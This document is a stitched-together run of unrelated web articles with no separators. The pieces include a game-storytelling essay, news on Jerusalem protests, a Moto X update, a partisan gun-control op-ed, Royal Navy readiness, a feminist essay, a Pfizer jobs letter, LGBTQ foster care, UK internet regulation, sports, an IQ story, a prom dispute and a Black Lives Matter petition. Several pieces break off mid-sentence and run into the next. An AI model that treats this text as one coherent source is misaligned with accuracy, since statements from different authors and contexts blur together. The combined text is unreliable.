If game didn’t end after the boss, this is the grande finale of the journey. More common in movies, in game seen mostly as ending cinematic. This is the reward, but not for the hero, for the player. What a joy it brings to our boring lives, seeing all those artificial smiles of people we helped. How awesome it feels that we changed the imaginary world made up from zeros and ones. So awesome that I want to play this game again, or sequel and prequel, oh and DLC. Please take my money!
PS. I despise happy endings.
Using the Cliche
“There is no escape from the mug, except into another mug” – Ferdydurke, Witold Gombrowicz
This is just rough description of how this works in storytelling. Before you say that some game(that has storyline, dummy) isn’t like that, think again, I’m sure it partially fits, all of them partially fit into this form. Everyone consciously or not uses this idea, so you will do too, don’t try futile attempt to escape it, make it your advantage, but remember, look at it, sometimes follow it, but never hang on to it strictly. Concept is well known so overusing it will create an obvious uninteresting story. Of course it will sell, but if your aim is to just make money with small effort, you’re free to go and create a porn game with bunch of micropayments. I’m sure there are enough people that will pay for some immersive fap material. You can do better, you lazy ass.
Know the pattern, look at the pattern, compare your work with the pattern, modify the pattern and be better than the pattern.On several days this week, protesters in cities across the Middle East took to the streets to reject President Trump’s recognition of Jerusalem as the capital of Israel. In some cases, those protests resulted in violent clashes with security forces and arrests.
Trump made the speech in which he vowed to move the U.S. Embassy from Tel Aviv to Jerusalem on Wednesday.
World leaders had warned the U.S. president that such a move could trigger backlash from Muslims around the globe.
That day, Israeli Prime Minister Benjamin Netanyahu praised Trump’s decision.
But Mahmoud Abbas, president of the Palestinian Authority, slammed Trump. Men in Ramallah in the West Bank streamed into the streets carrying the red, black, white and green Palestinian flag.
On Thursday, Arab leaders decried Trump’s decision, and more protests erupted in the West Bank and in Turkey.
In Peshawar, Pakistan, black smoke rose in front of a crowd of men shouting and pumping fists. One man had dropped a match, setting fire to Israeli and American flags. The demonstrators held signs condemning the move by the Trump administration.
Friday protests spread to other Arab countries. In at least two towns in Syria, hundreds of people gathered, chanting and holding Palestinian flags.
Two men unfurled a sign reading, “Trump’s stealing Arab’s money, sold their sacred places.”
Israeli troops clashed with Palestinian dissidents in Jerusalem. One man told The Post’s Ruth Eglash, “He, God, only decide what’s going to happen here.”
“No Trump, no Netanyahu, no Abbas, nobody. Nobody,” he added.
The protests continued after dark.Several online reports are dropping hints that Moto X 2013 and 2014 will get the Android 5.1.1 Lollipop before the Android M. The latter is scheduled to roll out next week.
After the Moto G 2013 and 2014 presumptions that they will get Android 5.1.1, now the same presumptions are circling around the Moto X 2013 and 2014. The latter update is said to roll out either in December or January (2016 for the latter month).
Also several users have already got their hands on the soak test that is available in two parts. The second one is also the biggest, taking up 712MB of space and this will boost your device to Android 5.1.1. The ultimate version of this system is no. 222.26.7 as noted by Droid-Life. But, currently there is no word on when the update will arrive. However, according to multiple reports if all goes well with the tryout, the software might just reach the general public in the upcoming week.
Expect the Moto X devices to get the Android Marshmallow OS in the upcoming future. On September the 29th the long-awaited for operating system will have its coming out party. On the same day, Google is presumed to unveil the Nexus 5X and 6P devices.
But, just to give you a heads up here, the Moto X handsets will be last ones from the entire Motorola series to get the Android M. And of course the first ones will be the Moto X Style and the Moto X Pure Edition.
Because Motorola used to be a mobile section that belonged to Google, this was among the first to embrace its newest update. However, because it’s taking the carries so long to bring the operating system upgrade to the phones, some of these devices might still be on hold.By: Cliff Kincaid
Accuracy in Media
A question from ABC’s Jake Tapper asking the President, “Where have you been” on guns and security, is getting some attention in the media. But we have the answer to that. The Obama Administration was sending guns to Mexico and failing to protect our diplomats in such places as Benghazi, Libya. The administration’s record on violence and security is a bad one. There is no doubt that Obama’s policy has made people more vulnerable to violent death.
Tapper, however, seems to be the only reporter wondering why Obama was AWOL on the issue for the last four years. Again, the reason is fairly obvious: Obama didn’t want to take on the NRA, a mass movement of millions of gun owners which exists to defend the constitutional right to keep and bear arms. Although as a candidate in 2008 he had spoken disparagingly of people who “cling” to their guns, he didn’t want to make any new enemies before his re-election victory. Now, because of the massacre at Sandy Hook Elementary School in Newtown, Connecticut, Obama believes he has the opportunity to go on the offensive and crush his political enemies.
The evidence, though, indicates that his new “gun control” plan will make the public even less secure than they already are.
Again, if there are any doubts on this, look at the Fast & Furious gun-running scandal and the cover-up of what really happened at Benghazi. This administration simply can’t be trusted to protect the American people.
It seems strange that Tapper and the rest of the media don’t understand Obama’s agenda. Perhaps they don’t want to accept the obvious.
Speaking at the Sandy Hook Interfaith Prayer Vigil, Obama made it clear that he intends to chip away at the Second Amendment right of self-defense even further. He asked, “Are we prepared to say that such violence visited on our children year after year after year is somehow the price of our freedom?” Yet, these children were left defenseless in the face of an onslaught by an evil and deranged person. The freedom that was lost in this exchange was the freedom of self-defense—the right to arm their protectors and guardians and save the lives of these precious little ones.
Obama is counting on the media to do his dirty work—to demonize constitutional conservatives and intimidate them into silence. This seemed to work for a while, as the NRA acted like it was in hiding in the aftermath of the killings. It was as if the NRA was somehow implicated in the killings, a point that MSNBC’s Lawrence O’Donnell was trying to make on the air, without any evidence whatsoever. His rants, however, do not compare to those of Piers Morgan on CNN. He has come across as somebody in need of the sort of psychological help now being talked about for potential crazies.
Larry Pratt of Gun Owners of America (GOA) deserves credit for going on the CNN Piers Morgan program on December 18 and calmly and rationally taking the arrogant British host completely apart. The exchange is a classic in terms of Pratt debunking every tired liberal claim about “gun control” and noting that the real solution is more security and putting weapons in the right hands for their deterrent and safety value. Morgan came across as a bully who was confronted and exposed as a stupid coward.
At the school, Pratt noted, the adults and children were “reduced to waiting to be murdered.” It appears that the killer did away with himself only when he realized the police were coming after him. By then, 26 people were dead.
Losing the argument, the British import finally resorted to name calling and insults. But Pratt had the last laugh, ripping Morgan’s “role model,” the Hitler-appeaser and “Peace in Our Time” British Prime Minister Neville Chamberlain. His point was that you meet force with force, a lesson that Britain, America and the allies realized during World War II.
CNN is getting higher ratings by exploiting the Sandy Hook tragedy and that may be all that Morgan, Soledad O’Brien and the others at CNN are interested in. I usually don’t watch such obvious exploitation for ulterior motives, which apparently include keeping Morgan and O’Brien in their well-paying jobs posing as people who truly care for the children. But the stakes are now so high that a normally little-watched channel like CNN has to be exposed and challenged.
You cannot watch CNN for long, for example, without seeing a reference to “gun violence,” as if the guns shoot themselves. The term, “semiautomatic assault rifle,” is another favorite on the channel. They never define the term “assault rifle,” which apparently refers to rifles that look different than traditional rifles. On the morning show on CNN, “Starting Point with Soledad O’Brien,” the show’s faux conservative and Fox News castoff, Margaret Hoover, sings along with the liberal chorus. This is not news but propaganda and Hoover, supposedly a Republican, should be ashamed for participating in it. She is apparently paid well for making conservatives look bad.
Still, it was immensely worthwhile for a figure like Pratt to go on CNN and demolish their “gun control” arguments. The exchange demonstrates that the facts are not on CNN’s side and that their hosts, when challenged, become rather snotty and suffer a form of nervous breakdown. Pratt was not intimidated in the least.
“You’re an unbelievably stupid man, aren’t you?” Morgan said to Pratt. But Pratt calmly responded, “It seems to me you are morally obtuse. You seem to prefer being a victim to being able to prevail over the criminal element. I don’t know why you want to be the criminal’s friend.”
The CNN transcript of the show is interesting, however. Here is what it shows as the exchange was coming to an end:
MORGAN: …It’s down to idiots like you. Mr. Pratt, thank you for joining me. When we come back –
PRATT: Thank you for your high-level argument, Mr. Morgan. It’s really good.
MORGAN: You know what, you wouldn’t understand the meaning of the phrase high-level argument. You are a dangerous man espousing dangerous nonsense. You shame your country.
PRATT: Disarmament is dangerous. (INAUDIBLE) into role model.
The alleged “inaudible” part of the exchange was when Pratt said, “Disarmament is dangerous. Ask Neville Chamberlain, your role model.” It can be heard as the interview was winding down. But CNN, for some reason, didn’t want that final zinger to be on the official transcript. Or perhaps the transcriber didn’t know who Neville Chamberlain was.
Cliff Kincaid is the Director of the AIM Center for Investigative Journalism and can be contacted at cliff.kincaid@aim.org.“Today marks the start of a hugely significant chapter for the Royal Navy, and indeed the nation, as the future flagship is commissioned into Her Majesty's fleet,” U.K. Defense Secretary Gavin Williamson said at the commissioning ceremony on Dec. 7, 2017. “It is an honor to witness the crowning moment of an extraordinarily busy year for the Royal Navy that has seen us name the second carrier, HMS Prince of Wales, cut steel on the first Type 26 frigates and launch the National Shipbuilding Strategy.”
In June 2017, the HMS Queen Elizabeth, the Royal Navy’s first super carrier and its largest ship ever, did first put to sea for the first time. Earlier in December 2017, Queen Elizabeth II herself commissioned the ship, which is named after 16th century monarch Queen Elizabeth I, who famously directed the country’s naval forces to destroy the Spanish Armada.
That only one of these 13 deployed vessels is a major surface combatant is a serious issue, though, and speaks to broader readiness and morale issues across the board. What the U.K. Ministry of Defense had said would be “The Year of the Royal Navy” has turned out to be full of significant disappointments for the service.
For its part, the Royal Navy remains “deployed globally on operations and will be protecting our national interests throughout Christmas and New Year,” a spokesperson insisted to The Telegraph newspaper. “There will be 13 ships and submarines deployed away and in home waters, as well as the at sea nuclear deterrent.”
On Dec. 20, 2017, the Royal Navy acknowledged that only one of its 13 Type 23 frigates, HMS St. Albans, was on duty protecting the United Kingdom’s national waters and that all six of its Type 45 destroyers were also pierside. Two months earlier, after an accident crippled the submarine U-35, the German Navy, or Deutsche Marine, was similarly forced to concede that this meant that all six of its Type 212A boats were sidelined for repairs.
British and German naval forces are both suffering from historically low readiness, with almost all of the Royal Navy’s destroyers and frigates in port and none of Germany’s submarines in working order. This only underscores existing concerns about both organizations spending priorities match their needs and their abilities to respond to crises close to home and outside of Europe.
Then in December 2017, one of Queen Elizabeth’s propeller shafts sprung a leak during as the ship progressed through additional sea trials, leading to reports of significant, but brief flooding in one of the engine compartments. This is actually not uncommon and is exactly why navies put ships through these types of tests before committing them to actual operations, something Defense Secretary Williamson was quick to point out to the BBC. “It does not prevent her from sailing again and her sea trials program will not be affected,” a Royal Navy spokesperson also said in a stament to the national broadcaster.
What Williamson didn’t mention was that the Royal Navy has yet to receive any operational F-35B Joint Strike Fighter aircraft to begin forming the core of Queen Elizabeth’s air wing, that the Fleet Air Arm might not ever have enough of those aircraft to operate that ship and Prince of Wales simultaneously in the strike role, and that the Ministry of Defense was considering scrapping its last two amphibious warfare ships, along with other cuts, to both help pay for the carriers and find sailors to serve on them. That's to say nothing of technical issues with the United Kingdom's Vanguard-class ballistic missile submarines and apparently terrifyingly poor discipline and low morale among the sailors on board those boats.
But critics were quick to seize on as more evidence the ship, which cost more than $4 billion to build, isn’t ready for real missions, with or without aircraft. It didn't help U.K. officials had tried to hide the issue, according to the BBC, before downplaying its significance. The latest news that a confluence of maintenance issues and crew turnovers had forced the bulk of the Royal Navy’s most capable surface warships into port at the same time only raises new questions about the service’s ability to conduct major operations or make real use of its new carrier in the near term. As we at The War Zone have noted repeatedly, the United Kingdom might not have enough destroyers and frigates at present to provide a full complement of escorts and conduct separate naval activities even when all of its Type 23s and Type 45s are combat ready.
Crown Copyright HMS Queen Elizabeth, at left, with a pair of Type 23 frigates as escorts.
As Defense Secretary Williamson noted, construction on the first Type 26 frigates, which will replace the older Type 23s, started in July 2017. The Ministry of Defense doesn’t expect the first three of those ships, also known as the City-class, to be ready for service until the mid-2020s and there’s no fixed timeline for when the eighth and last ship will arrive. The present plans do not provide for a one-for-one replacement of the Type 23s, either. The United Kingdom has yet to settle on a final design for the five less capable Type 31e General Purpose Frigates that it plans to buy to make up the difference. Pre-existing budget cuts and economic uncertainty surrounding the United Kingdom’s planned departure from the European Union, commonly known as the British Exit or Brexit, surely haven’t helped matters any. In October 2017, BAE Systems, which is part of the consortium responsible for the Queen Elizabeth-class carriers and owns the shipyard building the Type 26s, announced it would cut 2,000 jobs in the United Kingdom, including hundreds supporting the Royal Navy activities. As such, there are already indications that the U.K. Ministry of Defense may be looking to its NATO and other European allies to help with the shortfall, operating the ship in concert with other navies to reduce the strain on its own forces. The United Kingdom and the United States have gone so far as to sign a deal that will put U.S. Marine Corps F-35Bs on board Queen Elizabeth for her as yet unscheduled first operational cruise in order to make up for the lack of Fleet Air Arm aircraft.
Crown Copyright Queen Elizabeth during her initial sea trials in June 2017.
The state of Germany’s navy suggests that there could be serious problems with this course of action, too. For the Deutsche Marine, the fate of the Type 212A submarines is similarly indicative of more widespread issues across the service. The boats are an advanced and extremely quiet diesel-electric design that uses an air-independent propulsion system centered on hydrogen fuel cells that allows them to stay under water for weeks at a time. The submarines form a key component of NATO’s plans to seal off the heavily contested Baltic Sea in the event of a major crisis, especially any potential military confrontation with Russia in that region. Unfortunately, the class has been a maintenance nightmare since the German Navy commissioned the first two boats in 2005. The issue is really two separate problems creating what has become a perpetual cycle of breakdowns and delays in getting boats back into service. After the end of the Cold War, the German government, focused heavily on rehabilitating what had been an independent East Germany, and in the face of what appeared to be dramatically reduced security concerns in Europe, slashed defense budgets and the size of its military as a whole. The German Navy ordered only limited stocks of critical spare parts up front for its new Type 212As.
Bundeswehr The German Navy's Type 212A submarine U-32.This society is broken, abusive, patriarchal trash—and not just in little pockets or in dark alleys and frat parties.
I was just commenting a few weeks ago about how at least once a month a woman will reach out to me to let me know that a man I’ve worked with, socialized with, or even considered a friend, is an abuser. These aren’t tales of one incident, it’s almost always a pattern of abuse quietly shared by multiple women who are scared of being publicly known. Occasionally these are stories from women who made their accusations VERY publicly known—but they were quickly and violently shouted down by their own community and, almost immediately, the accusations were forgotten by everyone except for the women who had been abused and cast out.
These aren’t famous people. These abusers are local artists, activists, teachers. But many have found themselves in places of even minor prestige or power and used that power to abuse women—and keep them silent about it. Even in a group as small as two — say, in a marriage — certain men will use their power to abuse women (and many men and non-binary people as well, who are often silenced with the added shame of the “feminized” nature of sexual assault).
And along with all the ways in which women are constantly reminded of how unsafe and powerless they are when someone in their circle is revealed as an abuser, we now also have a spate of very high-profile and widely admired menwho are being outed as serial abusers.
Weinstein, Tambor, Hoffman, Louis CK, Seagal, Piven, Spacey—maybe it would save time to just start keeping lists of men we admire (I’m aware that not many have admired Steven Seagal in a while, but the point stands) whoaren’t sexual predators, and then slowly cross their names off as every news story breaks until we all explode from rage and frustration and disappointment.
This is, I’m 120% sure, just the tip of the iceberg. For every victim who takes the monumental risk to come forward and is actually heard, there are almost certainly countless others who can’t or aren’t.
I hear time and time again from men who want me to make it clear when talking about rape culture that not all men are rapists. I hear time and time again from men who want me to believe that it’s only a few sick monsters committing all the rapes, and also that maybe women are all lying and there are no rapes. These are often the same men who also try to say in the same breath that “boys will be boys” and that men can’t control their desires as long as women continue to stubbornly exist in their corporeal form.
And no, as a mother of two boys I cannot believe that every man is a sexual predator and that every little boy is destined to become one. I would not be able to get out of bed in the mornings. But as a survivor of multiple sexual assaults, as one of the 20% of all women in the U.S. who report being victims of sexual assault (and this is not including sexual harassment and other waysin which women are made to feel unsafe in their bodies), as a citizen of a country that elected a man who proudly admitted on tape to sexually assaulting women as president, I will say this: This society is doing everything it can to create rapists, to enable rapists, and to protect rapists.
This society is broken, abusive, patriarchal (and white supremacist, ableist, hetero-cisnormative) trash. Not just in little pockets. Not just in dark alleys and frat parties. It’s fucking rotten through and through and has been forabsofuckinglutelyever.
I have not yet figured out how to drive all men into the sea. I’ve considered maybe taking a boat to the middle of the ocean to start shouting about the wage gap to see how many men would try to swim over to tell me that it doesn’t exist. But I’m very fond of a few men (including the two I gave birth to — nepotism, I know) and I also get really seasick on boats.
So if we can’t drive all men into the ocean and start over, do we just throw up our hands? Do we just excuse this rampant abuse as “locker-room talk” and “locker-room groping” and “locker-room rape” and “locker-room forced witnessing of masturbation”? Do we continue to insist that we do not have a toxic masculinity problem and these are just isolated cases of sick individuals who are abusing women and let everyone else off the hook?
I absolutely cannot give all the answers. I do not have all the answers. Women more capable than I have died trying to find a way to fix this.
But I do know this: Every single sexual abuser is 100% responsible for their actions and there is nobody else to blame than the person who is choosing to violate another person.
And I also know this: This entire patriarchal society is responsible for every single sexual assault that occurs.
Both of these things are 100% true at the same time, and if we want to battle rape culture—if we want to finally end the brutality that so many women have faced for pretty much the entirety of history—we have to start addressing both of these realities at once.
We have to face up to the fact that from the moment we get that sonogram and a doctor points to an imperceptible squiggly thing and says that it’s a penis, we start indoctrinating our assigned male children with massive amounts of toxic masculinity. We hand them toy guns and tell them not to cry and define their success through life by how well they can dominate others. We make countless movies where their only “romantic” goal is to find a way to get a woman who does not want them to sleep with them anyway. We show them image after image of men in nice suits, cigar in hand, a dead-eyed beauty draped on each arm and say, “This is what you should strive for. This is victory.”
But as a society, we don’t want to take responsibility for the abuse we create, enable, and strengthen. Because most of that responsibility lies with men and so many of them are very invested in keeping things the way they are — especially because they haven’t quite reached their life’s goal to be successful enough to be able to violate the consent of the most beautiful of the trophies we also know as women without consequence. Yes, everyone contributes to the patriarchy in some way — even women—but about half of us have had no say in the rules of the game, have never had a chance at winning, and have been given just as little say in whether or not we will play. For many cis, straight men, to fight the patriarchy is to risk discomfort. For the rest of us, it’s to risk your livelihood, your health, even your life.
As a society, we also don’t place responsibility on the individual men who are, even with their societal conditioning and enabling, still choosing with their own minds and bodies and patriarchal power to violate the consent of others in a myriad of ways. Approximately 3% of rape victims will ever see their rapist spend a day in jail. And while 1 in 5 female college students reports being the victim of sexual assault, we have a president who is actively working to make sure that the choice to rape a classmate will not endanger a rapist’s chance at graduation.
We instead place the entire responsibility for the damage done to women… on women. Soon-to-be women who wear spaghetti-strap tops to school, distracting young boys with their scandalous shoulders. Women who let a man buy her a steak dinner but then are rude enough to not suck his dick for dessert. Women who get drunk at parties. Women who go to parties. Women who wear bikinis. Women who wear burqas. Women who choose to sleep with other people who aren’t that dude. Women who slept with that dude once but then didn’t want to anymore.
Every day I’m trying to counter the flood of messaging my sons are receiving from television, music, movies, books, friends, and our own government that says that they have a right to a woman’s body. Every day I’m trying to counter the flood of messaging that my sons are receiving that says that overcoming a woman’s objections is romantic. Every day I’m trying to counter the flood of messaging that tells them that their manhood is defined by how many women they can have sex with. Every day I remind them that they are so much kinder, better, and just… more than these violently aggressive yet mewling combinations of bravado and entitlement that they see depicted as the pinnacle of “manhood.” And every day I’m reminding them that they are responsible for their actions, and that if they disrespect women, abuse women, violate the consent of women — I will be one of the first people in line to make sure that they are held accountable.
And every day I don’t know if it’s enough. Every day it feels like it isn’t.
But I have to try because I have no other choice. We, as a society, have no other choice. And if you’ve had the luxury to think that this is not an issue that you need to address because you aren’t “one of those guys” I suggest you pay attention to how hard so many of us women are fighting to save ourselves, our sisters, our daughters, and our sons. And get to work.
Or get in the sea.Maryland lawmakers have penned a letter to Pfizer asking the New York-based pharmaceutical giant to ensure that it will not shed jobs at Gaithersburg-based MedImmune should it succeed in acquiring parent company AstraZeneca.
Pfizer has offered as much as $106 billion to acquire United Kingdom-based AstraZeneca in a deal that could rank among the largest ever for the pharmaceutical industry. So far, the companies have not agreed on a purchase price.
Still, the prospect of a deal has Maryland representatives touting the merits of maintaining a large presence in Montgomery County, where MedImmune has long been located. AstraZeneca bought the company for $15.6 billion in 2007.
“The MedImmune research facility in Maryland has an international reputation for world-class expertise and is located in the heart of our nation’s biotech corridor near the National Institutes of Health. If a deal moves forward, Pfizer would benefit greatly from maintaining their Maryland facilities and workforce,” lawmakers state in the letter.
The letter is signed by Sens. Barbara A. Mikulski and Ben Cardin, as well as congressional Reps. C.A. Dutch Ruppersberger, Chris Van Hollen, John Sarbanes and John K. Delaney, all Maryland Democrats.
British lawmakers have raised similar concerns that an acquisition could mean the loss of jobs in the United Kingdom. Pfizer sought to assuage those concerns last week by pledging to keep jobs there should a deal go through.
But Delaney said in an interview that those efforts have only heightened concerns at home.
“You worry that may put more pressure on decisions they make in the U.S.,” he said.
In their letter, lawmakers asked Pfizer chief executive Ian Read for similar guarantees.
“As you evaluate your next steps, we ask you to extend similar assurances to those you gave in the UK to the research and development workforce in Maryland. AstraZeneca and its MedImmune subsidiary have strong presences in the state, and their workforces are highly skilled and extremely effective.”
Read responded to similar concerns in a May 12 letter to Maryland Gov. Martin G. O’Malley, saying it would be “premature to speculate” on what might happen to MedImmune’s jobs and facilities because “we are in the very early stages of our proposal and are not in direct discussions.”
“I recognize that Maryland has made a significant investment to the biopharmaceutical industry and I understand your interest in the specific impact to your state,” Read wrote. “Pfizer values your investment and the important science being conducted there. MedImmune, a key biologics arm of AstraZeneca’s [research and development] platform, demonstates incredible value to patients by developing innovation driven biopharmaceuticals. Leveraging biological advances to develop small and large molecule medicines, MedImmune’s modality independent approach to research and development would be a good complement to Pfizer’s research efforts in a potential combination with AstraZeneca, and could create and enhanced research portfolio in key areas such as Oncology, Immunology and Cardiovascular Disease.”
Read the full text of the congressional letter below:
Dear Mr. Read,
We are writing to express our concern about potential job losses in our state that could flow from Pfizer’s potential takeover of AstraZeneca. We understand you are likely to submit another offer before a May 26 deadline. As you review your options moving forward, we request you give serious consideration to the US jobs at stake in this possible acquisition. Particularly, AstraZeneca currently employs over 3,000 people in Maryland.
It has been widely reported that if a deal moves forward, Pfizer has committed to keeping at least 20 percent of the combined company’s research and development workforce in the UK for at least five years, as well as retaining substantial manufacturing facilities at AstraZeneca’s site south of Manchester. Given the distribution of AstraZeneca’s current workforce, we worry that jobs in the United States would be eliminated in the takeover.
As you evaluate your next steps, we ask you to extend similar assurances to those you gave in the UK to the research and development workforce in Maryland. AstraZeneca and its MedImmune subsidiary have strong presences in the state, and their workforces are highly skilled and extremely effective. In addition, the MedImmune research facility in Maryland has an international reputation for world-class expertise and is located in the heart of our nation’s biotech corridor near the |
since then, have resulted in extremely negative outcomes for LGBTQ youth in out-of-home care,” Robert Latham, supervising attorney at the University of Miami’s Children & Youth Law Clinic, wrote the Department of Children and Families last month.
It’s not that group homes are necessarily worse than foster homes for LGBTQ youth, Latham said. But while foster care is challenging for most children, it’s especially difficult for those discovering their gender or sexual identities while living in the state system. For example, those children are more likely to be rejected by foster parents or group homes.
“For LGBTQ youth especially, they are pushed out of placements at much higher rates,” Latham said. “Their placements are much more unstable. And they basically become homeless in foster care. They just have nowhere to go.”
In addition to a ban on discrimination, the workgroup is proposing that the new group-home rule define sexual orientation and gender expression; permit facilities more flexibility in determining sleeping arrangements for youth when their safety is at risk from gender-segregation rules; allow “gender nonconforming” youth access to clothing and hygiene items consistent with their gender; protect the confidentiality of youth who identify as LGBTQ and document group homes that reject them because of their status; and require all staff to receive training on the healthy development of sexual orientation and gender.
Department of Children and Families Secretary Mike Carroll said that while he wasn’t familiar with every aspect of the discussion, “we ought to have a system that recognizes the uniqueness of each kid.”
Shelley Katz, chief operating officer of Children’s Home Society of Florida, which oversees a number of group homes, said she agrees with the recommendations.
“I can say that for our residential programs, it has not been my experience that LBGTQ youth are any less stable than other youth,” said Katz, who stressed she couldn’t speak for homes not overseen by her organization. “We firmly believe that it is our role as a surrogate parent to nurture and support the unique personalities and characteristics of each child, including gender and sexual orientation.”
Katz also said that the group homes under Children’s Home Society auspices “have a very diverse workforce and do a great deal of training. We are committed to reinforcing respect, healthy relationships and appropriate boundaries with all of our youth, regardless of gender or sexual orientation.”
But those who identify as LGBTQ say their difficulties may not be registering with the authorities.
Julia Schaffer, a 21-year-old senior at Florida State University who has helped push for rules protecting LGBTQ youth, entered foster care when she was 3 years old. At 13, she came out to her foster mother, who wanted Schaffer to “talk to somebody and stop being gay.”
“It’s not something I can control,” Schaffer said, adding that after dealing with her foster mom, “I can only imagine living in a group home with other kids judging you, or people who are running the group home not accepting you or not understanding how to speak to you about it. I can only imagine.”
Advocates are also worried about the lasting mental-health effects of rejection by a foster family. According to the American Foundation for Suicide Prevention, “LGBT people have significantly higher rates of depression, generalized anxiety disorder, conduct disorder, and substance use disorder than heterosexual people.”
Latham made a similar point in his letter to DCF.
“We know that rejection by a caregiver is a primary predictor of adverse health and wellbeing outcomes for LGBTQ children,” he wrote. “Caregiver acceptance and respect, conversely, are significant predictors of a child’s success.”
Amanda Williams, a lesbian living in Gainesville, and her partner, Deena Ruth, have fostered 23 children — “usually teenagers that have a difficult time” in other placements — and adopted two of them. She serves on the Bar’s statewide LGBTQ work group and also on a local panel.
Williams said the panels are trying to expand acceptance of the youths, “at all levels of care,” from foster parents to group homes and beyond.
“One thing said to these children can really trigger lots of history and lots of damage that they’re been through,” she said. ” … When they finally come to a home where they’re accepted, they have a hard time letting their guard down and believing it’s real.”
The News Service of Florida’s Margie Menzel contributed to this report.Theresa May looks set to launch wide-ranging internet regulation and plans to fundamentally change how technology works despite not having won a majority.
In the speech in which she committed to keep governing despite calls to stand down, the prime minister made reference to extending powers for the security services. Those powers – which include regulation of the internet and forcing internet companies to let spies read everyone's private communications – were a key part of the Conservative campaign, which failed to score a majority in the House of Commons.
In the speech, given in Downing Street after losing her majority but still looking to form a government, she laid out a series of plans that she hopes to carry out at what she called a "critical time for our country".
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Shape Created with Sketch. General Election 2017: Big beasts who lost their seats Show all 7 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. General Election 2017: Big beasts who lost their seats 1/7 Nick Clegg Darren O'Brien 2/7 Gavin Barwell Getty 3/7 Angus Robertson 4/7 Nicola Blackwood PA 5/7 Alex Salmond PA 6/7 Rob Wilson Rex Features 7/7 Ben Gummer PA 1/7 Nick Clegg Darren O'Brien 2/7 Gavin Barwell Getty 3/7 Angus Robertson 4/7 Nicola Blackwood PA 5/7 Alex Salmond PA 6/7 Rob Wilson Rex Features 7/7 Ben Gummer PA
One of those will be "cracking down on the ideology of Islamist extremism and all those who support it," she said in the short speech. And she will also "give the police and the authorities the powers they need to keep our country safe".
That statement – one of few policy proposals in the speech – seems to be a reference to new powers to regulate what is said and read on the internet, as set out in the Conservative manifesto.
Theresa May had already promised in the final days of the campaign to launch a worldwide plan to get "international agreements" to "regulate cyberspace". Her manifesto had laid out wide-ranging plans to regulate the internet, which included a commitment to become the "global leader in the regulation of the use of personal data and the internet".
During the election campaign, the prime minister refused to rule out Chinese-style internet censorship as part of that regulation plan, suggesting that she might look to shut down or ban companies that didn't comply with her controversial proposals.
Almost all of Ms May's plans for stopping terror have focused on internet communications, despite there being no proof that they are responsible for recent attacks. She said after the London Bridge attack that she planned four ways to stop terror, which included internet regulation alongside countering propaganda and segregation.
Experts have warned that those plans for internet regulation could in fact make life easier for terrorists.Crystal Palace boss Tony Pulis has been awarded the Barclays Manager of the Month award for April.
The 56-year-old guided Palace to four wins from five league games as the Eagles climbed out of relegation danger and into 11th place.
Sunderland striker Connor Wickham was named Player of the Month.
The 21-year-old scored five times to take his team out of the drop zone, with key strikes against title contenders Manchester City and Chelsea.
Palace were relegated in all four of their previous Premier League seasons and were in the bottom two when former Stoke boss Pulis replaced Ian Holloway at Selhurst Park in November.
Wickham, who joined the Black Cats from Ipswich in 2011, scored a brace against City in a 2-2 draw at the Etihad Stadium.A British teenager, who loves tanning, manicures and parties, is being hailed as smarter than Albert Einstein, Stephen Hawking and Bill Gates.
According to the Telegraph, Lauren Marbe, a 16-year-old from Loughton, Essex, has an IQ of 161. The straight-A student took the Mensa brain test with other high achievers from her school, and wound up getting a score that could be higher than some of the world's most revered minds.
“I was one of the last people to get my result and everybody before me had got around the 130 mark so that was the kind of result I was expecting," Marbe, who is a singer and hopes to study at the University of Cambridge, told the Telegraph. “My teachers knew I was quite clever because of my grades but they had always thought I was blonde and a bit ditzy. Now they keep saying ’I didn’t realize you were that clever.'"
It's important to note that the IQ scores of German theoretical physicist Albert Einstein, British theoretical physicist Stephen Hawking and American founder of Microsoft Bill Gates are mere estimates. Einstein never actually took an IQ test because none of the modern intelligence tests existed during his lifetime, Yahoo! News U.K. notes. He is believed to have had an IQ around the 160 mark. Hawking and Gates might have scored 160, as well.
Business Insider stresses that IQ scoring is an inexact science. "Even with a test result in hand, the number can vary from exam to exam," writes BI reporter Robert Johnson. "Third party scoring or estimates based upon intellectual achievements are a popular way of getting a ballpark figure."
Mensa U.K. even notes that percentile is a more accurate assessment than IQ number. "An IQ of 150 is a meaningless claim unless the testing mechanism is also cited, but an IQ in the 98th percentile (i.e. higher than 98 per cent of the population) has consistent meaning," according to Mensa. A score of 132 on the Culture Fair test used by British Mensa places a candidate in the top 2%.
Either way, Marbe has earned the praise of her peers and superiors.
"In a time where the media and Government criticise our youth for their supposed ignorance and superficiality it is even more vital to celebrate and encourage intelligence," the principal of Roding Valley High School, where the 16-year-old "girl genius" attends school, told Yahoo! News U.K. "It is these bright young things which we hope - with the guidance of a good education - will become the future leaders of our society."The prom the school district promised at the country club in Fulton was a ruse. Only seven kids, Constance, and her date showed, and at the same time, everyone else held a “real” prom at a secret location out in the county. This is all after the school district had represented to Judge Davidson that Constance was invited to a parent-sponsored prom to be held at Tupelo Furniture Market. The school represented that Constance was invited in court filings, testimony, and representations by the school district and its lawyers. In reality, Constance had not been invited, but, based on the representations by the district and its counsel, Judge Davidson denied Constance’s request for a preliminary injunction that she could go to the prom.
The school reneged, or possibly didn’t ever intend to follow through on its representations to the court. The parents didn’t want Constance at the prom and didn’t want to be sued (as they told the Clarion Ledger), and so on Tuesday announced the cancellation of the prom. But what they’d done was secretly relocated it. Shortly thereafter, the school’s attorney announced (on Wednesday) that “the prom” was to be held at the Fulton Country Club on Friday. But yet only seven kids showed up. Meanwhile, there’s a rumor that school officials were directly involved in setting up the “fake” prom.Black Lives Matter may as well be ISIS — according to more than 119,000 people who have signed an online White House petition calling for the federal government to deem the group a “terrorist organization.”
The petition, submitted through the White House’s “We the People” project, states, “It is time for the pentagon to be consistent in its actions – and just as they rightfully declared ISIS a terror group, they must declare Black Lives Matter a terror group – on the grounds of principle, integrity, morality, and safety.”
The Black Lives Matter movement, known for holding anti-police brutality protests across the country, has recently picked up steam in the wake of the last week’s police shooting deaths of two black men – Atlon Sterling and Philando Castile – in Louisiana and Minnesota, respectively.
The petition was created on July 6 – the same day that Castile was shot and killed during a car stop in suburban St. Paul – by a user only identified as Y.S. and quickly gained momentum following the next-day slaying of five Dallas police officers during a Black Lives Matter protest.
Dallas cop-killer Micah Xavier Johnson, 25, an ex-US Army reservist who developed a hatred for white people, told police in an hours-long standoff that he had acted alone and was not affiliated with any group, though he said he was acting in support of the movement.
